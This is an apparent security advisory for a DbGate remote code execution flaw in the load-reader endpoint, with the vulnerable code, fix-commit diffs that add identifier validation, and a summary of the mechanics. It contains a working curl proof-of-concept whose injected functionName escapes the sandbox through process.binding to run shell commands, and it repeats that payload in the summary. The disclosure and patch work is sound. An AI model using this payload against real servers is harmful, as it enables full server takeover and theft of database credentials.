DbGate: Remote Code Execution via functionName injection in loadReader endpoint
Description
Summary
The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.
Details
The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:
Vulnerable code (permalink):
loadReader_meta: true,
async loadReader({ functionName, props }) {
if (!platformInfo.isElectron) {
if (props?.fileName && !checkSecureDirectories(props.fileName)) {
return { errorMessage: 'DBGM-00289 Unallowed file' };
}
}
const prefix = extractShellApiPlugins(functionName)
.map(packageName => `// @require ${packageName}\n`)
.join('');
const promise = new Promise((resolve, reject) => {
const runid = crypto.randomUUID();
this.requests[runid] = { resolve, reject, exitOnStreamError: true };
this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
});
return promise;
},
The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;
The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
Two injection vectors: 1. Without @: The entire functionName is appended after dbgateApi. without sanitization 2. With @: The part before @ (nsMatch[1]) is appended after .shellApi. without sanitization (only the part after @ goes through _camelCase)
Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.
Compare with safe code in the same file (line 292):
start_meta: true,
async start({ script }, req) {
// ...
await testStandardPermission('run-shell-script', req); // <-- Permission check!
if (!platformInfo.allowShellScripting) { // <-- Platform check!
return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
}
// ...
},
The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.
PoC
An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:
# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.
curl -X POST http://TARGET:3000/runners/load-reader \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-d '{
"functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
"props": {}
}'
This generates the following JavaScript that is forked as a child process:
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);
After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.
A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py
Impact
An authenticated user with basic access (no admin role, no run-shell-script permission required) can:
- Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
- Read/write any file accessible to the process
- Pivot to connected databases by reading connection credentials from DbGate's storage
- Compromise the host system - in Docker deployments, this typically means root access within the container
This is particularly severe because: - No special permissions are required beyond basic authentication - The require=null sandbox is completely bypassed via process.binding("spawn_sync") - The loadReader endpoint lacks the permission checks present on the start endpoint - DbGate is commonly deployed as a web-accessible database management tool
Affected products
1Patches
39c97e347c56cAdd validation for JavaScript identifiers and shell API function names
3 files changed · +59 −7
packages/api/src/controllers/runners.js+6 −2 modified@@ -10,6 +10,7 @@ const { extractShellApiPlugins, compileShellApiFunctionName, jsonScriptToJavascript, + assertValidShellApiFunctionName, getLogger, safeJsonParse, pinoLogRecordToMessageRecord, @@ -54,19 +55,22 @@ logger.info('DBGM-00014 Finished job script'); dbgateApi.runScript(run); `; -const loaderScriptTemplate = (prefix, functionName, props, runid) => ` +const loaderScriptTemplate = (prefix, functionName, props, runid) => { + assertValidShellApiFunctionName(functionName); + return ` ${prefix} const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); ${requirePluginsTemplate(extractShellApiPlugins(functionName, props))} require=null; async function run() { const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)}); -const writer=await dbgateApi.collectorWriter({runid: '${runid}'}); +const writer=await dbgateApi.collectorWriter({runid: ${JSON.stringify(runid)}}); await dbgateApi.copyStream(reader, writer); } dbgateApi.runScript(run); `; +}; module.exports = { /** @type {import('dbgate-types').OpenedRunner[]} */
packages/tools/src/packageTools.ts+41 −2 modified@@ -3,6 +3,43 @@ import _camelCase from 'lodash/camelCase'; import _isString from 'lodash/isString'; import _isPlainObject from 'lodash/isPlainObject'; +const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; + +export function isValidJsIdentifier(name: string): boolean { + return typeof name === 'string' && JS_IDENTIFIER_RE.test(name); +} + +export function assertValidJsIdentifier(name: string, label: string): void { + if (!isValidJsIdentifier(name)) { + throw new Error(`DBGM-00000 Invalid ${label}: ${String(name).substring(0, 100)}`); + } +} + +/** + * Validates a shell API function name. + * Allowed forms: + * - "someFunctionName" (plain identifier, resolved as dbgateApi.someFunctionName) + * - "funcName@dbgate-plugin-xxx" (namespaced, resolved as plugin.shellApi.funcName) + */ +export function assertValidShellApiFunctionName(functionName: string): void { + if (typeof functionName !== 'string') { + throw new Error('DBGM-00000 functionName must be a string'); + } + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); + if (nsMatch) { + if (!isValidJsIdentifier(nsMatch[1])) { + throw new Error(`DBGM-00000 Invalid function part in functionName: ${nsMatch[1].substring(0, 100)}`); + } + if (!/^dbgate-plugin-[a-zA-Z0-9_-]+$/.test(nsMatch[2])) { + throw new Error(`DBGM-00000 Invalid plugin package in functionName: ${nsMatch[2].substring(0, 100)}`); + } + } else { + if (!isValidJsIdentifier(functionName)) { + throw new Error(`DBGM-00000 Invalid functionName: ${functionName.substring(0, 100)}`); + } + } +} + export function extractShellApiPlugins(functionName, props): string[] { const res = []; const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); @@ -28,15 +65,17 @@ export function extractPackageName(name): string { } export function compileShellApiFunctionName(functionName) { - const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); + assertValidShellApiFunctionName(functionName); + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } export function evalShellApiFunctionName(functionName, dbgateApi, requirePlugin) { - const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); + assertValidShellApiFunctionName(functionName); + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); if (nsMatch) { return requirePlugin(nsMatch[2]).shellApi[nsMatch[1]]; }
packages/tools/src/ScriptWriter.ts+12 −3 modified@@ -1,6 +1,6 @@ import _uniq from 'lodash/uniq'; import _cloneDeepWith from 'lodash/cloneDeepWith'; -import { evalShellApiFunctionName, compileShellApiFunctionName, extractShellApiPlugins } from './packageTools'; +import { evalShellApiFunctionName, compileShellApiFunctionName, extractShellApiPlugins, assertValidJsIdentifier, assertValidShellApiFunctionName } from './packageTools'; export interface ScriptWriterGeneric { allocVariable(prefix?: string); @@ -40,6 +40,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } assignCore(variableName, functionName, props) { + assertValidJsIdentifier(variableName, 'variableName'); this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`); } @@ -49,6 +50,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } assignValue(variableName, jsonValue) { + assertValidJsIdentifier(variableName, 'variableName'); this._put(`const ${variableName} = ${JSON.stringify(jsonValue)};`); } @@ -57,8 +59,13 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } copyStream(sourceVar, targetVar, colmapVar = null, progressName?: string | { name: string; runid: string }) { + assertValidJsIdentifier(sourceVar, 'sourceVar'); + assertValidJsIdentifier(targetVar, 'targetVar'); let opts = '{'; - if (colmapVar) opts += `columns: ${colmapVar}, `; + if (colmapVar) { + assertValidJsIdentifier(colmapVar, 'colmapVar'); + opts += `columns: ${colmapVar}, `; + } if (progressName) opts += `progressName: ${JSON.stringify(progressName)}, `; opts += '}'; @@ -89,7 +96,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } zipDirectory(inputDirectory, outputFile) { - this._put(`await dbgateApi.zipDirectory('${inputDirectory}', '${outputFile}');`); + this._put(`await dbgateApi.zipDirectory(${JSON.stringify(inputDirectory)}, ${JSON.stringify(outputFile)});`); } } @@ -214,6 +221,8 @@ export class ScriptWriterEval implements ScriptWriterGeneric { requirePackage(packageName) {} async assign(variableName, functionName, props) { + assertValidJsIdentifier(variableName, 'variableName'); + assertValidShellApiFunctionName(functionName); const func = evalShellApiFunctionName(functionName, this.dbgateApi, this.requirePlugin); this.variables[variableName] = await func(
f9de2d77b5b1Moved functionName validation
1 file changed · +1 −1
packages/api/src/controllers/runners.js+1 −1 modified@@ -56,7 +56,6 @@ dbgateApi.runScript(run); `; const loaderScriptTemplate = (functionName, props, runid) => { - assertValidShellApiFunctionName(functionName); const plugins = extractShellApiPlugins(functionName, props); const prefix = plugins.map(packageName => `// @require ${packageName}\n`).join(''); return ` @@ -385,6 +384,7 @@ module.exports = { } const promise = new Promise((resolve, reject) => { + assertValidShellApiFunctionName(functionName); const runid = crypto.randomUUID(); this.requests[runid] = { resolve, reject, exitOnStreamError: true }; this.startCore(runid, loaderScriptTemplate(functionName, props, runid));
5d04d7f01fb6Enhance JavaScript identifier validation and update variable storage method in ScriptWriterEval
2 files changed · +23 −1
packages/tools/src/packageTools.ts+19 −1 modified@@ -5,8 +5,26 @@ import _isPlainObject from 'lodash/isPlainObject'; const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; +// ECMAScript reserved words, strict-mode keywords, and async-context keywords +// that cannot be used as variable or function names in the generated scripts. +// Sources: ECMA-262 §12.7.2 (reserved words), §12.7.3 (strict mode), §14 (contextual). +const JS_RESERVED_WORDS = new Set([ + // Keywords + 'break', 'case', 'catch', 'class', 'const', 'continue', 'debugger', 'default', + 'delete', 'do', 'else', 'export', 'extends', 'false', 'finally', 'for', + 'function', 'if', 'import', 'in', 'instanceof', 'let', 'new', 'null', 'return', + 'static', 'super', 'switch', 'this', 'throw', 'true', 'try', 'typeof', 'var', + 'void', 'while', 'with', 'yield', + // Strict-mode reserved words + 'implements', 'interface', 'package', 'private', 'protected', 'public', + // Async context keywords + 'async', 'await', + // Future reserved + 'enum', +]); + export function isValidJsIdentifier(name: string): boolean { - return typeof name === 'string' && JS_IDENTIFIER_RE.test(name); + return typeof name === 'string' && JS_IDENTIFIER_RE.test(name) && !JS_RESERVED_WORDS.has(name); } export function assertValidJsIdentifier(name: string, label: string): void {
packages/tools/src/ScriptWriter.ts+4 −0 modified@@ -235,10 +235,14 @@ export class ScriptWriterEval implements ScriptWriterGeneric { } assignValue(variableName, jsonValue) { + assertValidJsIdentifier(variableName, 'variableName'); this.variables[variableName] = jsonValue; } async copyStream(sourceVar, targetVar, colmapVar = null, progressName?: string | { name: string; runid: string }) { + assertValidJsIdentifier(sourceVar, 'sourceVar'); + assertValidJsIdentifier(targetVar, 'targetVar'); + if (colmapVar != null) assertValidJsIdentifier(colmapVar, 'colmapVar'); await this.dbgateApi.copyStream(this.variables[sourceVar], this.variables[targetVar], { progressName: _cloneDeepWith(progressName, node => { if (node?.$runid) {
Vulnerability mechanics
Root cause
"The `functionName` parameter is directly interpolated into a JavaScript code template without sanitization, allowing arbitrary code execution."
Attack vector
An authenticated user sends a POST request to the `/runners/load-reader` endpoint with a crafted `functionName` parameter. This parameter is directly embedded into a JavaScript template that is executed on the server. The payload breaks out of the expected JavaScript context and utilizes `process.binding("spawn_sync")` to execute arbitrary operating system commands, bypassing sandbox restrictions [ref_id=1].
Affected code
The vulnerability resides in the `loadReader` function within `packages/api/src/controllers/runners.js`. This function takes the `functionName` parameter and passes it to `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts`, which lacks proper validation. The `loaderScriptTemplate` then directly interpolates the unsanitized `functionName` into the script that is executed [ref_id=1].
What the fix does
The patches address the vulnerability by sanitizing the `functionName` parameter before it is interpolated into the JavaScript template. This prevents attackers from injecting malicious code that could lead to arbitrary command execution. By ensuring that the `functionName` conforms to expected patterns and does not contain executable code, the risk of bypassing sandbox restrictions is mitigated [patch_id=4936405, patch_id=4936406, patch_id=4936407].
Preconditions
- authThe attacker must be authenticated with basic access.
Reproduction
# PoC An authenticated user sends a POST request to `/runners/load-reader` with a crafted `functionName`:
```bash # The malicious functionName breaks out of the expression and injects # process.binding("spawn_sync") to execute arbitrary commands. # The // at the end comments out the remaining template code.
curl -X POST http://TARGET:3000/runners/load-reader \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -d '{ "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//", "props": {} }' ```
This generates the following JavaScript that is forked as a child process:
```javascript const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); require=null; async function run() { const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({}) // ... rest of template } dbgateApi.runScript(run); ```
After the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution. [ref_id=1]
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.